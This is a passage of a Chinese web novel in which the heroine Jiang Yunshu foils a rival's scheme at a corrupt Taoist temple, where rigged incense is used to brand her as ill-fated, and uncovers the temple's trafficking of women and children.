此时沈家门口,三辆马车并列前后,老夫人自然是在最前面的马车,高芝兰带着沈长元陪伴左右,姜云舒只能乘坐后面的马车。 “老夫人是要长元陪着的,如此,便委屈姜夫人乘坐后面的马车吧。”高芝兰朝姜云舒眨眨眼睛,唇角笑容带着挑衅。 姜云舒扭头朝后看一眼,那马车的配置和装潢与后面丫鬟乘坐的马车并不不同,她这是因为刚才提醒她不是沈家人而报复她? 姜云舒不以为意地勾了勾唇角,抬手打了个响指,只听得一声嘶鸣,众人闻声扭头,就见一匹纯白色的赤骥马狂奔而来,停在姜云舒跟前。 “相比马车,我更喜欢骑马。” 姜云舒朝高芝兰勾了勾唇角,紧接着一个翻身上了马,方才还来势汹汹的赤骥马此时乖顺无比,随着姜云舒拉住缰绳,缓缓走到了沈清安身侧。 “时候不早了,沈大人,还不出发?”她朝沈清安挑了挑眉。 方才赤骥马出现时,沈清安的眼睛便不受控制地盯在马身上。 这赤骥马珍贵异常,听说,当初在皇家狩猎节,最大的彩头便是一匹赤骥马,当时三皇子和二皇子争夺激烈,还受了重伤。 能让两位皇子争得头破血流的宝马,那得是多金贵! “走,走吧!”沈清安朝管家下令,随即拉紧缰绳,与姜云舒齐驱并进。 此时,高芝兰坐在马车之中,透过车帘看着姜云舒与沈清安在沈家队伍之前领路,清晨的余光落在他们身上,竟有种莫名的……夫唱妇随的错觉! 一路上,沈家队伍经过街道,便有百姓在周边指指点点。 “哎呀,那便是刚刚回京的沈大人吧,难怪乐安县主能看中他,的确是一表人才啊!” “之前还听说这沈大人带了个原配回来,如今看这般,人家夫妻好着呢。” “虽说定国将军府一家流放,但这姜夫人可是从皇宫出嫁的,如今看来,倒也相配。” 百姓的议论声传入高芝兰耳中,她撩着车帘的手抑制不住轻颤。 配,配什么配! 她高芝兰才是原配! 骏马疾驰,沈家众人到清风观时,天色还早,这头柱香,也算是赶上了。 高芝兰一脸殷勤的扶着老夫人下车。 晨曦洒落,清风山巅云雾缭绕,群山若隐若现,清风观掩映在青松翠柏之间,牌匾上“清风道观”四个大字,尤为苍劲有力。 虽说道家修清净,可如今这略显古朴素净的道观,到底让老夫人皱起了眉头。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第111章 天命福星和天煞孤星 老夫人自来京城,拜的都是崇光寺这等皇家寺院,其中辉煌自不必多说,如今瞧见这小门小户样的道观,从心底莫名生出一股嫌弃。 “原不知道,这里还有一处道观呢。” 老夫人扯了扯嘴角,看向高芝兰看,“你若想请财神,泰皇庙才是最灵验的,要不然……” 老夫人后面的话没说完,但意思已经表达的很明显了。 高芝兰似是早预料到老夫人会嫌弃,依旧扯着嘴角,笑着解释。 “这清风观的确不大,但尚品阁位处东南,与清风观的位置刚好相交呼应,自这里请来的才是正财神。” “是这样?” 老夫人抬头,看看高芝兰,又看看沈清安,那眼神,似是要沈清安拿主意。 “我们是赶着吉时来的,如今到了这清风观,便是有缘,道观不在小,心诚,自会灵验。” 说完,沈清安径自抬脚往里走,高芝兰紧忙扶着老夫人进去。 进了道观,便有小道士前来迎接,听说要捐功德请财神,便直接将众人带去了前殿。 此时,清风观观主云顶真人正早课,听得小道士禀报,起身迎过来。 “听得沈大人为岩城治理水患修筑堤坝,造福一方百姓,真真是大功德。”云顶真人上前行礼。 沈清安紧忙回礼,招招手,子固便将准备好的香火钱送上来。 三百两,于清风观这种城郊小道观来说,也是一笔巨款了,云顶真人当时面上的笑意就更浓了。 “听说,此次沈大人是要请财神,如此,便随贫道来。” 云顶真人也真是办事儿,说话间将众人带去了前面的长生殿。 随着往里走,穿过墙面上雕刻师祖真人的长廊,众人到了最里面的长生殿。 长生殿,听起来似乎是做早课诵经之处,往里走渐渐紫檀香的味道在鼻尖飘忽,里面诵经的声音传来。 不是诵经精修,而是典礼行法! 仪典很简单,云顶真人从小道士手中接过沾了所谓圣水的柳枝,绕着众人身边,将圣水洒在他们身上,洗去沉浮静心之意,众人随着小道士的指引分排跪在祖师爷跟前。 姜云舒随着道士的指引跪坐在蒲团上,不经意地抬头看着跟前的祖师爷像,心中微动,似是有种说不上来的感觉。 都说经历生杀之人原本不惧神佛,可如心系远在崖州的父母兄长,今姜云舒却下意识的多了几分郑重,抛去心中杂念,以最纯净的心态参拜。 似乎这样,能洗净心中的杂念,也将如今在沉淀的杀戮血腥洗涤一翻。 不光是姜云舒,众人脸上也都多了几分郑重,虽然面对祖师爷心中所想不同,神情却是前所未有的肃穆。 待仪典结束,云顶真人吩咐小道士将香送到众人手里。 众人接了香便要参拜,可这香到了姜云舒,却点了几次都未见燃起。 小道士有些着急地看向云顶真人,而沈家众人的脸色一下子变得紧张起来。 人家都说香火点不燃是晦气,好不容易赶上了头柱香,竟然都毁在了姜云舒手里! 她到底是什么天煞孤星! “真人,这……”老夫人一脸紧张的看向云顶真人。 云顶真人扭头朝姜云舒手里的香看一眼,未说什么,只是吩咐小道士给姜云舒换了三根香。 这一次,香是点燃了。 众人拜过祖师爷之后,便将手中的香插入相应的香炉,随着云顶真人诵经结束,香燃尽,此时一一应对解香。 然而,云顶真人的视线在众人燃尽的香炉中扫过之后,却未说什么,只将老夫人和沈清安带去了内殿。 内殿。 老夫人不明所以,进去后忍不住开口问,“真人,可是有什么不对?” 刚才看完香后,云顶真人的神情似乎有了微妙的变化。 云顶真人吩咐小道士将门关上,然后将高芝兰燃的那炉香拿出来。 “你看,这一炉香,尾端成依次递增,这便是所得的功德香。” “是说,她是我们家的福星?”老夫人眼前一亮。 几年前,有高僧是给高芝兰批命,便说她是福星。 高芝兰本是沈家不怎么走动的远房亲戚,穷亲戚上门求接济,高氏父母还想着将女儿送进来做妾。 沈家本是瞧不上的,可恰逢那日有高僧过府,批命高芝兰财官印三全命格能旺夫,加上沈清安也的确喜欢她,老夫人当即让她做了沈清安屋内人。 说来也是天意,自高氏近了沈清安的身,沈清安当年便中了秀才,次年高氏有孕产下一男婴,夫人与沈清安更是对高僧的话深信不疑,当即抬她做了正室夫人。 自此之后,沈清安一路赶考,三年中举,又高中探花,的的确确印证了她是福星那个命格。 此时,云顶真人将几片龟甲置于桌上,又为老夫人和沈清安解卦。 “不错,这位施主的确是天选福星,从卦象来看,这位张施主本应是王侯夫人的命格,有她坐镇东方主母位,定然能兴旺家族。” “哎哟,那可真是我沈家的造化!” 老夫人此时已经高兴地眯起了眼睛,随即似是想起什么,又问,“那另一位……” 与老夫人和沈清安一同上香的就姜云舒和高芝兰,高芝兰是福星,若姜云舒也能兴旺沈家,那才更好。 然而,提及姜云舒,云顶真人却下意识蹙起了眉。 “这位……” 他“嘶”了一声,随即沉沉叹一口气,“这位夫人身上煞气太重,原本也应是王侯将相门第,奈何高门依旧压不住她的凶杀之气,唯恐祸及夫家!” “哎呀!” 老夫人惊呼一声,险些站不住摔在地上。 沈清安紧忙伸手扶住老夫人,向那云顶真人询问,“可有破解之法?” “有道是有,沈大人日后或可寻机会将她送来清风观清修三年,以我清风观仙韵之地和祖师爷庇护,洗去她一身的凶杀之气,或可能保一家平安。”云顶真人若有所思。 听得这话,沈清安和老夫人相视一眼,两人都没说话,却从对方的眼睛里看到了同样的神情。 决不能让姜云舒毁了沈家的王侯气运! 第112章 不是好人 此时,清风观大殿之外,姜云舒与月禾正坐在凉亭喝茶。 清风山风景秀丽,云山雾绕,百年老树粗壮茂密,仿佛将这一片凉亭环绕在它的荫蔽范围之内。 “小姐,我怎么觉着,自打咱们上山,就有种不太痛快感觉?”月禾蹙着眉,一脸不解。 从看到清风观那牌匾,再到往里走时两边墙上的壁画,再到姜云舒燃香,看起来也没什么不对劲,可就是觉着好像有口气堵在心口,上不去下不来,总之憋闷得很。 姜云舒手中捻着白瓷杯盏,低低地抿一口清茶。 不是不痛快,而是,今日高芝兰提议整个沈家都来这小观,定然有什么谋划。 “提防着些便是。”姜云舒淡淡开口。 “哦。” 月禾应了一声,抬头朝大殿的方向走去,“也不知道那云顶真人和老夫人他们说了什么,沈清安且不说,老夫人可是向来相信神佛,自己也没点判断力,极易让人牵着鼻子走,若与小姐无关还则罢了,若他敢诋毁,我定然拆了他这破道观。” 倒也不是月禾脾气大,而是自那云顶真人出来后,他的视线总有意无意往小姐身上瞟。 那眼神,远不像一个清修之人该有的沉稳平和,而是仿佛眼睛里蕴藏着一股子邪气一般。 姜云舒抬头瞧她,无奈地抿了抿唇,正要说话,却见一俗门弟子端着茶过来。 “施主,请用茶。” 说着,那俗门弟子上前,将原本桌上的茶换走,又给姜云舒眼前的杯盏里蓄满了茶。 “这道观里还有女女弟子?”月禾歪着头看她。 俗门弟子似是有些羞怯,缩着肩膀垂下头,避开月禾的视线,转而看向姜云舒。 “姑娘是高门出身,若祈福还是去崇光寺为好。”她压低了声音。 这话入耳,姜云舒眉梢轻微一动,视线在她身上打量。 “你如何知我高门出身?”她问。 “姑娘穿着举止不俗,自然不是小门户。”俗门弟子回。 这个说法,倒也还算对。 姜云舒虽并未盛装打扮,可周身穿戴皆不是俗物,而自身的高贵气质也是多年成长环境所促成。 “你既栖身在清风观,竟将香客往外推?姑娘,你不地道啊!” 月禾提高声音,视线在那俗门弟子身上打量一番,稍稍靠近,“看你细皮嫩肉,双手娇嫩,并非是端茶倒水做事之人,姑娘,你到底是什么人?” 面对的是柔和娇弱之人,月禾的语气也下意识轻缓几分,谁知,刚问出口,那俗门弟子竟后退一步,跪在了姜云舒面前。 “诶,你这是做什么?”月禾吓一跳。 “我叫李嫣然,本是李阁老府上,长房庶女,上个月元太妃生辰宴上,我……我受元太妃指使,前往云水园去,去找世子,是姑娘救了我,我记得姑娘的大恩,才来禀报。” 说完,李嫣然朝姜云舒磕了个头。 姜云舒喝茶的动作一顿,低头盯着李嫣然的看了片刻,恍惚之间对这张脸有了印象。 “是你?”她倏然记了起来。 是有这么回事。 那日在元太妃生辰宴上,谢无烬知道元太妃要往他身边塞女人,便想着将计就计,将她和沈清安放在一处。 姜云舒只是随口劝诫了一句,其实能不能放过她,也是看谢无烬的意思,没想到,谢无烬不光放过了她,还提及了自己。 犹记得,那日月禾传来消息,的确提及那姑娘为了拒绝元太妃,去了道观修行。 难怪,难怪姜云舒梳着妇人发髻,她却依旧称她为“姑娘”,想来是被谢无烬提醒了。 “那你方才为什么要劝我去崇光寺上香?”姜云舒放下手中杯盏。 “崇光寺是国寺,适合姑娘这般出身尊贵之人,而这里……” 李嫣然扭头朝四处看了一眼,压低声音,“不瞒姑娘,这清风观虽明面上是道观,实则却是向百姓敛财之处,而且,刚进道观的第三日,我起夜出门,因为不认识路走到了后门,发现有人抬着几个孩子和夫人进了后院交给守门的道士,我在背阴处听着,那些孩子和妇人是要卖出去的。” 说着话,她眼眶微红。 “买卖妇女和孩子?这禽兽道观不怕被告发吗?”月禾忍不住锤了一拳柱子。 “那后院出口便是悬崖,别说是被拐来的妇女和孩子,便是正常男子也不能轻易离开,加上后院地形布置有阵法,一般人根本找不到,就连我也只是跟到了门口,再往里便进不去了。”李嫣然蹙着眉抿了抿唇。 “那你为何还要留在这里?”姜云舒看她。 贩卖妇女孩童的道观,其中阴暗不可想象,李嫣然一个弱女子,留在这里岂不是羊入虎口? 李嫣然抬头,似是有些为难,可犹豫之下,还是开了口。 “都说李阁老府上人丁兴旺,光是孙女就有八个,嫡出子嗣尚且疼不过来,我这庶出的,自然也少有关心,加之我生母入李府之前,是画舫唱曲的,我便更不受祖父祖母的待见,如今也就是仗着自己出身高门的身份,这云顶真人不敢对我如何,可是想要离开,却也不是易事。” 她朝姜云舒笑着,可是笑着笑着,眼眶里就蓄满了泪水。 姜云舒不由双手握起。 他爹此生只娘一人,兄长又将她视为珍宝一般,自小便没有体会过深宅之中的疾苦,可如李嫣然这般,虽不甘心却又身不由己的女子,却是常态。 姜云舒无力改变这世间常态,但要救出一个李嫣然,倒也不知不可能。 “你若想离开这里,赤峰观那边,我可以帮你疏通。”她道。 赤峰观与崇光寺一样,同属皇家,虽修行免不了清苦,但不会像在清风观一般日夜提心吊胆。 “多谢姑娘。” 李嫣然没说要去,也没说不去,只是似又想起什么,再提醒姜云舒。 “对了,今日与你们同来的那位夫人,三日之前也来过清风观,是云顶真人亲自接见的。” “你说的是穿香色衣服那个?”月禾眸光顿时一闪,“你确定看到的是她?” “是,不会错的。”李嫣然郑重地点点头。 第113章 做手脚 “难怪了,看来高芝兰的确是有准备啊!”月禾看向姜云舒。 那今日这一趟,浑身不自在就有了解释。 姜云舒蹙眉,思量片刻,问李嫣然,“李姑娘,你可会解香?” “会一些的。”李嫣然回答。 自小在高门深渊之中谨小慎微地生活,她习惯了处处察言观色,虽不过一月,她已然对道家,亦或者说,对清风观的俗礼有所了解。 “如此甚好,三根香,从左到右呈阶梯形状增高是什么寓意?”姜云舒问。 “此香称为功德香,寓意功行全备,有神灵保佑。”李嫣然回答。 “哦。” 姜云舒挑眉,随即手指沾着茶,又在桌上画了她刚才的三根香,“这样的呢?” “这……”李嫣然眸光一凛,“这是天煞香,寓意身负凶杀,轻则人口残损,重则……满门俱灭啊!” 最后一句话,李嫣然的声音都抖了。 “不可能!” 月禾怒吼一声打断李嫣然,可除了这句,又不知道说什么。 人家是解香的,又不是诅咒,这怒火冲李嫣然发不着。 将比月禾,姜云舒倒是平静许多,定国将军府的确亲人四散,但若说是因为她害的,这话她绝对不认。 她伸手拉住月禾,又问李嫣然,“清风观的香,可以做手脚?” 这不是疑问,而是已经有了答案,只等李嫣然证实。 “是可以。”李嫣然点点头。 从月禾刚才的反应,她已经猜出来,那天煞香定然是姜云舒的。 “我曾听道观里的师兄给师弟们传私功时提及,如香客有特殊要求,可提前用云谷草油将香浸泡,浸泡之后的位置不会再燃,以此根据浸泡云谷草油的位置设定灭香的位置。”李嫣然如实回答。 清风观利用这种操作,做过不少脏事。 “好一个豺狼窝,竟给小姐下套陷害!” 说着,月禾手里的剑都开始抖了,“小姐,等会儿他们出来,我就将那黑心的道人拎去京兆府,看他还敢再害人!” “急什么?” 姜云舒拍拍她的手,又转向李嫣然,“你说了,这里贩卖妇人和孩童,那这清风观便不能留了,这样,等会儿你带月禾去找关押妇人和孩子的地方,她会破阵,能进去救人。” 之前研究沈清安院子里的阵法,月禾没少刻苦,如今一般的阵都困不住她,实在不行,她还会暴力破阵。 “这……月禾姑娘会不会有危险?”李嫣然一脸纠结地看月禾一眼。 这小姑娘,长得白白净净,虽说脾气有些不好,但一张娃娃脸甚是可爱,不像是很厉害的样子,后院可还有守门的呢。 “你这是什么眼神?” 月禾朝李嫣然掀了掀眼皮,抬手“砰”的一掌落在石凳上,下一瞬,就见那石凳竟从中间裂开了一道口子。 这力气,她信了。 “放心,月禾可是上过战场的,便是宫内的二等侍卫都不是她的对手。”姜云舒朝李嫣然勾了勾唇角。 “啊……月禾姑娘可真厉害。”李嫣然扯了扯嘴角,不知是震惊还是羡慕。 待月禾与李嫣然离开,姜云舒又去了清风观门口。 此时郭攀正蹲在门口看树上的松鼠。 原本,郭攀这门仆的身份是不用跟来的,但是出发之前,郭攀单独找了姜云舒。 “我一早晨这左眼皮一直跳,我有点不放心,感觉总得发生点什么,姜夫人,你就让我跟着去吧,不出事最好,万一真有事,我还能帮您报信儿不是?”郭攀挡着姜云舒的路就是不走。 他前日才得了信儿,老娘身体好着呢,定然是没事的,但今日沈家都出门,他眼皮不停地跳,唯一能想到的便是姜云舒了。 郭攀这人犟,姜云舒让他回去,他就是不肯,非得跟着来一趟才放心,果然,此时便真的用到他了。 “郭攀。”姜云舒走近。 “哎,姜夫人!” 郭攀应声,也不管松鼠了,紧忙过来,“夫人可是有什么事儿让小的做?” 等了半天,就等着姜云舒传他呢。 “你帮我下一趟山,去清风村找赵令海,让他带一队人过来。”姜云舒沉着声音。 此时灾民安置在清风村,因村子刚建立,又是灾民聚集,需要士兵巡逻维持安定,这清风村的房子是赵令海指挥着做的,如今这守卫的任务也就落在了他身上。 赵令海乐得有事做,加之同是出自定国将军府,与姜云舒的关系也近了一层,便也成了此时姜云舒唯一能调动的军队。 “是,小的这就去!” 郭攀拿了姜云舒给的令牌,转身就往山下跑。 姜云舒停顿稍许,转身又回去,此时沈清安和老夫人已经从大殿内出来。 “哎呀,不行,我绝对不信。” 出来时,老夫人一脸紧张,尤其看到姜云舒,她更是痛心疾首般,转身央求云顶真人。 “真人,您不能只凭借一次上香就给孩子扣下这天大的帽子啊,这孩子,这孩子一直都好好的。” 说着话,老夫人伸手拉住姜云舒,一脸疼惜的表情。 不用说,她说的什么“扣下的帽子”定然是扣的姜云舒。 此时进清风观上香的香客越来越多,老夫人声音大,又带着哭腔,一时将众香客的视线引了过来。 而沈清安站在一边,那张英俊的脸上似是也沾着什么苦大仇深,蹙着眉头看向姜云舒。 只有另一侧的高芝兰,虽极力压制表情,可搂着沈长元的手微微轻颤,依旧出卖了她此时的激动。 看到自己的计划实施,她很兴奋吧! 将众人神情尽收眼底,姜云舒又低头瞧着老夫人攥在自己手腕上的手,唇角勾起一抹冷笑。 老夫人这是想用舆论施压,若自己真应了那天煞的命格,便任由他沈家摆布了。 不得不说,老夫人这做戏的本领和高芝兰真是如出一辙,要不人家能做婆媳呢? 正想着,老夫人手上用力,将姜云舒拉到跟前,朝云顶真人央求。 “真人,您再给我们孩子一次机会,让她再试一次,万一上次是因为紧张没点好呢?” 这般诚恳态度,真真是一位对儿媳维护有加的慈爱婆母了。 听老夫人这样说,云顶真人再次上前,他抬手掐指不知在念叨什么,片刻,叹一口气。 “既然老夫人坚持,那贫道便再为这位夫人算一次!” 说着,他摆摆手,便有小道士将香送了过来。 小道士送香的位置是固定的,姜云舒接过来的排列顺序也固定,她低头看一眼,那香上的确有微弱的痕迹。 第114章 将主母之位让给她 “姜氏,方才咱们上香,你那三支香的意头不大好,你再拜一次。”老夫人朝姜云舒扯了扯嘴角。 姜云舒一脸不解,但还是接过了小道士递来的香。 此时,小道士又过来给点上,姜云舒转身,在众人看不见的瞬间,悄悄地换了三支香的位置。 她将香抵在额间,朝着祖师爷像拜了三拜,此时众人的视线紧盯着姜云舒手里的香。 眼看着姜云舒将香插入香炉中,等待香灭。 “哎呀,是财神香!” 这时,人群中有人惊呼一声。 香客之中,有不少人是山脚下的百姓,拜得多了,自然也就能认识一些燃香的门道。 这一声,喊得云顶真人和高芝兰的脸色同时一沉,此时再看香炉,的确是财神香。 “哎呀,看吧,这不是好的嘛!” 老夫人也忍不住开口,说话间见看向云顶真人,那表情明明是笑,却又显得很纠结。 若姜云舒不是天煞之命,此时她安置灾民有功,于沈家来说也是好的,也省下不少麻烦。 但高芝兰可是福星…… 一时间,老夫人拿不准主意,扭头看向云顶真人。 此时却见云顶真人一脸沉重地摇摇头。 “错了,这香的位置虽是财神香,可这烟的形态却不对。” 说着,云顶真人将那香炉取下来,向众人展示,“财神香烟气是向上的,寓意蒸蒸日上,可如今这烟气是下坠,乃凶兆,这位夫人……身负煞气,唯恐祸及家人呐!” 清风山的垂直位置就在清风林不远处,姜云舒将灾民安置于清风林中,山下百姓自然多数都认识姜云舒,此时听得云顶真人批命姜云舒祸及家人,转念一想,确有其事。 “哎呀,这样说来,好好一个定国将军府,镇守边关多年,怎么说流放就流放了呢,难不成真是姜夫人这天煞之命方的?” “可姜夫人如今已经出嫁,总不能嫁出去的女儿只方自己娘家,夫家没事吧?” “就是,就是,这沈大人可是戴功回京,如今又被皇上委以重任,哪里被累及了?” 周边百姓多得益于姜云舒,便下意识为她开脱,然而,这些话出口,沈清安的脸色反而越发阴沉。 怎么就没被累及呢? 若非姜云舒向皇上反悔用救驾的功劳为他谋仕途,只凭他治理水患的功劳,如今也至少官升一级。 这样看来,姜云舒的确害他仕途受阻! 云顶真人听着众人的一乱,眼底也沉了几分,他示意让众人闭嘴,只端着香炉转向老夫人。 “老夫人你看,这烟气呈下沉之势,并非未累及夫家,若贫道没有猜错,这位夫人的娘家要比夫家官职更高才是,天煞之人,冲撞的首先便是高位。” 这一句话出,老夫人原本还带点希望的脸上,瞬间又白了。 “是,是啊!” 她咧着嘴,看向姜云舒,此时仿佛像是看着什么凶神。 得了老夫人回应,原本议论的众人也一时间闭了嘴,眼睛纷纷看向姜云舒。 姜云舒深吸一口气,开口。 “所以,真人觉着,我这天煞之人,应该怎么办呢?” 她勾着唇,未有半分慌乱。 云顶真人这种哄骗的脏事没少做,话到此时,一般人应该早已慌了神,可姜云舒那双眼睛里甚至连紧张都没有,反而,此时与他对视,竟让他生出一股莫名的寒凉。 “贫道需掐指算算。” 云顶真人还真掐诀算起来,也不知他口中嘟囔着念了什么,片刻,他却又转向了老夫人。 “贫道粗算,三年内,您家中恐有变故,这位夫人若不嫌弃,或可在我道观清修,待除去周身煞气,方可于家族无碍。” “三,三年?” 老夫人扯了扯嘴角,看向姜云舒,“姜氏,你……” “老夫人,这三年来,你我都是去崇光寺祈福上香,便是长明大师,也从未说过我身上有什么煞气,如今这小道观所谓的真人一张嘴,您便信了?” 姜云舒这话是对老夫人说的,眼睛却直盯着高芝兰。 高芝兰想当着众人的面儿让她受制于舆论,姜云舒便索性将话摆上明面。 “高夫人,你自回沈家,吃的穿的用的都是好的,怎的为店铺请财神却绕过赤峰观,选了个这样一个名不见经传的小道观?” 虽说赤峰观是皇室道观,却也并非不接待寻常百姓,而沈清安本就是官员,去赤峰观上香请财神才是正常。 姜云舒这话一出,又将众人的注意力引到了高芝兰身上。 “哎呀,听说沈大人回京时带了一位原配,难不成就是她?” “原配还在,姜夫人如何能嫁入沈家?难不成是沈家骗婚?” “听说这原配是当时失踪后来又寻回来的,就算是原配发妻,可姜夫人出嫁时不也没她吗?更何况,姜夫人是皇上赐婚,又是自皇宫出嫁,京兆府记录在册的沈夫人可是她。” “那也难怪,这原配定然是不甘心,难不成此时做局陷害姜夫人?” 一时间,众人的议论声一一传入高芝兰耳中。 高芝兰原本被姜云舒这一问便有些慌乱,再听众人的言论,更是紧张。 “姜夫人这是什么意思?我初来京城,寺庙道观之处并不熟悉,只是听店里的客人说这里灵验才提议老夫人来的,更何况,老夫人知道得多,她若觉着这清风观不好,自会拒绝,岂是我能引导的?” 高芝兰捏着拳头,压住涌上来的慌乱。 此时老夫人听高芝兰这样说,下意识跟着点点头。 的确,当时高芝兰说来清风观时,她也没多想,可能是银票拿到手里太高兴了,便随口应了。 更何况,高芝兰批命天选福星这件事,可不是只云顶真人算出来的,当初在清州时,便有高僧为高芝兰批过命,也是这样说的。 而且,这几年下来,高僧所说都应验了啊,否则,她也不能放着姜云舒这样一个高门出身的儿媳不要,非得护着高芝兰啊! 思及此,老夫人转向姜云舒。 “云舒啊,母亲知道你对我没得挑,当初我的命也是你救的,可是如今关系整个沈家,芝兰真的是天选福星,能救我沈家,就算我求你了,你将我沈家主母之位让给她吧,好不好?” 说着,老夫人竟双腿一曲,跪在了姜云舒跟前! 第115章 脏东西上身 这一跪,瞬间让场面变得鸦雀无声。 姜云舒也没料到老夫人竟会给她跪下,毕竟,晚辈跪长辈那是礼仪,长辈给晚辈下跪,那可是要折寿的。 相处三年,倒是没看出来,老夫人还揣着一颗这么狠的心。 姜云舒一时间未有动作,周边众人忍不住小声议论起来。 “哎呀,这老太太,怎么能跪小辈呢,这可怎么使得?” “那还不是为了整个家族,若那姜夫人真是坑害全家的命格,本应送到庄子上去,如何还能逼得婆母下跪?” “那可是定国将军府家的独女,如今又是皇上亲封的县主,也算是下嫁了,这婆母是被逼的没办法了。” 原本还替姜云舒说几句公道话的声音也不见了,此时入耳的尽是指责,还有别有用心之人看热闹不嫌事儿大。 高芝兰站在沈清安身侧,听着众人对姜云舒的指责,低垂着头遮住面上浮现的得意。 她倒是真的没想到老夫人会给姜云舒下跪,正好,这一次,这正妻之位,姜云舒非得让出来不可! 姜云舒瞪大眼睛,盯着眼前泣不成声的老夫人,双手不由得攥紧了拳头。 逼迫做到这个份儿上她是真狠,可若论狠,姜云舒的应对就简单多了。 正在众人议论之中,就见姜云舒猛然间抬手,“啪”的一巴掌抽在了老夫人脸上。 “你是什么邪物,给我从老夫人身上下来!” 说着话,她手腕一转,也不知从哪里抽出来的带子,“唰唰唰”地将老夫人捆了个结实! 整个动作都太快,众人尚且来不及看清楚发生了什么,老夫人已经被她捆上了。 老夫人更是被那一巴掌抽懵了,直到自己被捆成了粽子都没有反应过来,倒是沈清安先回过神,一个健步冲上去,拦住姜云舒的第二巴掌。 “啪!” 这一巴掌,结结实实抽在了沈清安脸上,直给他打得转了好几圈,扑通一声摔在地上。 “姜云舒,你疯了!” 他嘴角渗出血,趴在地上,咬牙切齿地瞪着姜云舒。 “你,你怎么还加上赶着捡巴掌呢!” 姜云舒一脸无奈,随即一抬手,又将绳子捆紧了些。 “哎哟!”老夫人疼得一下子涨红了脸。 “姜云舒,你竟敢殴打婆母!”沈清安撑着站起身来,伸手要救老夫人,却被姜云舒抬手拍开。 “别动!老夫人是被脏东西附了身!”姜云舒大喊一声。 她的声音不大,却让在场众人一下子往后退了一步,惊恐又好奇地往老夫人身上看。 此时老夫人头发也散了,睁大的眼睛里除了红血丝还有要吃人的凶光,别说,真真有点像是被附了身的模样。 “你胡说!这里可是清风观,妖魔邪祟都不敢靠近,怎么会有脏东西附身在母亲身上!” 高芝兰大喊一声,就要去拉老夫人,可还没到跟前,脖颈上就被姜云舒的匕首吓得站在原地。 “万一,这清风观本就是妖魔聚集之地呢?” 姜云舒挑眉朝旁边的云顶真人扫一眼,又看向沈清安。 “老夫人方才也说过,她的命是我救回来的,这辈子都会拿我当女儿疼爱,怎么可能当着众人的面儿给我一个晚辈下跪?长辈跪晚辈,这是要夺我的命,老夫人断然不会这般恶毒!” 这话一出,在场众人之中便有不少人随着点头。 京城前朝曾出现过一个恶婆母,为了跟儿媳借命在儿媳的卧房外偷偷下跪,结果生生害得儿媳年纪轻轻就没了命。 “听说这沈家老夫人可是常年礼佛之人,应该不至于这般恶毒吧?” “是呢,两年前我曾去崇光寺祈福,曾见这位姜夫人寒冬腊月等在崇明殿外,只求长明大师出关给婆母医病,如今若真被婆母这般对待,那这恶毒的婆母被打一巴掌也是活该!” “是啊,刚才这老太太还处处维护姜夫人,如今怎的一转眼就给儿媳下跪逼迫了呢?” 众人你一言我一语,言论风向在一瞬之间调转方向。 就连沈清安也一时摸不定,低头看向老夫人。 老夫人被姜云舒捆着动弹不得,只瞪眼挣扎。 “我没……” 一句话没说出来,却见姜云舒迅速在她身上点了几处穴位,后面的话便直接卡在了喉咙里。 “那你也不能对母亲动手,这毕竟是她的肉身!”沈清安咬牙切齿。 姜云舒略显无奈地叹一口气,“我当然不忍心对老夫人动手,可我听说,若被附身要用力击面目才能将那恶灵打出去。” 说话间,她不知又从哪里掏出一块黄色的布和一道符篆,黄布塞进老夫人的嘴里,符篆直接贴在了她脑门上。 “呜呜——” 老夫人发不出声音,只能拼命挣扎,挣扎得太用力,此时额间青筋暴起,越发像是被什么东西附了身一般。 高芝兰也被老夫人这反应吓得退了一步,她扭头,朝云顶真人使了个眼色。 云顶真人会意,走上前来,“这位施主,你……” “砰!” 话还没说完,姜云舒的鞭子照着云顶真人就抽了过去,“你这妖道,究竟对我家老夫人做了什么?” 姜云舒气势汹汹,见云顶真人躲过一鞭,紧接着甩出第二鞭。 在场众人吓得四散多开,他们可看见了,姜云舒那鞭子的尾端可都是闪着寒光的倒刺冷刃。 云顶真人似乎也没想到姜云舒这般能打,一时躲闪不及,踉踉跄跄摔在了地上。 “你,你分明是来捣乱,来人,快来人!” 云顶真人憋着一股怒意,朝大殿之内怒喊一声,此时,一群人便自大殿内冲了出来。 不,确切来说,应该是飞了出来。 一个个飞到云顶真人身边,“砰砰砰”地摔在地上,动弹不得。 云顶真人瞪大眼睛一看,竟是他身边的护卫道士,十二个人,一个不差的被人从内殿扔了出来! “怎么回事!” 这一次,云顶真人真的慌了,他踉跄着站起身来,就见自内殿之中,走出一群人。 阳光自大殿洒向地面,落在月禾身上,她仿若披着黄金圣甲一般,带着一众披头散发的女子和孩子自大殿入口走了进来。 “你这妖道,丧尽天良之事做尽,今天姑奶奶便扒了你的皮,然你感受感受什么是生不如死!” 说话间,月禾手中一根绳索飞过,直接勾住云顶真人的脖子。 第116章 买卖人口的畜生 “你,你要做什么!” 云顶真人惊恐地瞪大眼睛,憋着一口气想要挣开月禾的钳制,却发现,眼前这个看起来纤瘦的姑娘,那双手就像钳子一般,根本挣扎不开。 此时在场众人还没反应过来,只见月禾上来就跟云顶真人动手,当即吓了一跳。 相比皇家的赤峰观,他们这样的普通百姓平日可是来清风观祈福的,如今看到云顶真人被压制,下意识要过来帮忙。 “这姑娘究竟是什么人,竟敢跑来清风观撒野!” “哼,仗着是富贵人家,竟不把云顶真人放在眼里,真是可恶!” “云顶真人可是庇护咱们清风山下一方百姓的仙道,如今真人有难,咱们可不能看着不管!” “就是,乡亲们,咱们一起上!” 人群中也不知是谁喊了一声,此时壮力的年轻人就要往月禾身上招呼,然而,刚到跟前,却见月禾身后跑出来几个孩子和妇人将月禾挡在了身后。 “不许欺负姐姐!” “你们都是坏人,走开!” 孩子们一个个灰头土脸,面黄肌瘦,看起来像是好多天没有吃饭的样子,明明紧张的浑身颤抖,却还是咬着牙挡在月禾跟前。 “这,这是从哪里冒出来的孩子?” “这孩子的口音,听起来不像是京城口音。” 沈清安也一脸凝重,看着那些孩子和妇人问姜云舒,“他们是什么人?” 姜云舒瞥了他一眼,似是没什么耐心的回了一句,“沈大人自己问不就知道了?” 沈清安脸色眼见着又沉了几分,他顿了顿,往前走一步,问前面的孩子。 “你们是什么人?从哪里来的?” 孩子们和妇人见有人凑过来,下意识后退一步。 “他们从哪里来的,你们得问问你们这位德高望重的云顶真人才是!” 说着,月禾抬手一扬,紧接着一脚踹在云顶真人胸口。 云顶真人猛地一晃,踉跄着几步一下子摔在地上。 “这,这究竟是怎么回事?”众人一脸不解地看向云顶真人。 